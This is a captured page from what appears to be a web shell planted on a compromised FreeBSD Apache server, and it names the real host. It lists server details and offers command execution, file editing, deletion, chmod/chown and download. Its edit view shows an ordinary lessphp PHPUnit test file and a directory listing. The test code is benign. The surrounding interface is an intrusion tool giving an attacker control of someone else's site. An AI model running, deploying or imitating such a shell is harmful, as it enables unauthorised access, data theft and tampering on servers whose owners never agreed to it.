TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
vendor
leafo
lessphp
tests
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/vendor/leafo/lessphp/tests/InputTest.php
<?php require_once __DIR__ . "/../lessc.inc.php"; // Runs all the tests in inputs/ and compares their output to ouputs/ function _dump($value) { fwrite(STDOUT, print_r($value, true)); } function _quote($str) { return preg_quote($str, "/"); } class InputTest extends PHPUnit_Framework_TestCase { protected static $importDirs = array("inputs/test-imports"); protected static $testDirs = array( "inputs" => "outputs", "inputs_lessjs" => "outputs_lessjs", ); public function setUp() { $this->less = new lessc(); $this->less->importDir = array_map(function($path) { return __DIR__ . "/" . $path; }, self::$importDirs); } /** * @dataProvider fileNameProvider */ public function testInputFile($inFname) { if ($pattern = getenv("BUILD")) { return $this->buildInput($inFname); } $outFname = self::outputNameFor($inFname); if (!is_readable($outFname)) { $this->fail("$outFname is missing, ". "consider building tests with BUILD=true"); } $input = file_get_contents($inFname); $output = file_get_contents($outFname); $this->assertEquals($output, $this->less->parse($input)); } public function fileNameProvider() { return array_map(function($a) { return array($a); }, self::findInputNames()); } // only run when env is set public function buildInput($inFname) { $css = $this->less->parse(file_get_contents($inFname)); file_put_contents(self::outputNameFor($inFname), $css); } static public function findInputNames($pattern="*.less") { $files = array(); foreach (self::$testDirs as $inputDir => $outputDir) { $files = array_merge($files, glob(__DIR__ . "/" . $inputDir . "/" . $pattern)); } return array_filter($files, "is_file"); } static public function outputNameFor($input) { $front = _quote(__DIR__ . "/"); $out = preg_replace("/^$front/", "", $input); foreach (self::$testDirs as $inputDir => $outputDir) { $in = _quote($inputDir . "/"); $rewritten = preg_replace("/$in/", $outputDir . "/", $out); if ($rewritten != $out) { $out = $rewritten; break; } } $out = preg_replace("/.less$/", ".css", $out); return __DIR__ . "/" . $out; } }
Crotin
Name
Size
Permissions
Modified
User/Group
sort.php
1172
0644
2016-03-05 11:25:43
Unknown/Unknown
inputs
-
0755
2016-03-05 11:29:43
Unknown/Unknown
README.md
690
0644
2016-03-05 11:25:43
Unknown/Unknown
InputTest.php
2162
0644
2016-03-05 11:25:43
Unknown/Unknown
ApiTest.php
3978
0644
2016-03-05 11:25:43
Unknown/Unknown
bootstrap.sh
960
0644
2016-03-05 11:25:50
Unknown/Unknown
inputs_lessjs
-
0755
2016-03-05 11:29:39
Unknown/Unknown
outputs_lessjs
-
0755
2016-03-05 11:29:40
Unknown/Unknown
outputs
-
0755
2016-03-05 11:29:47
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin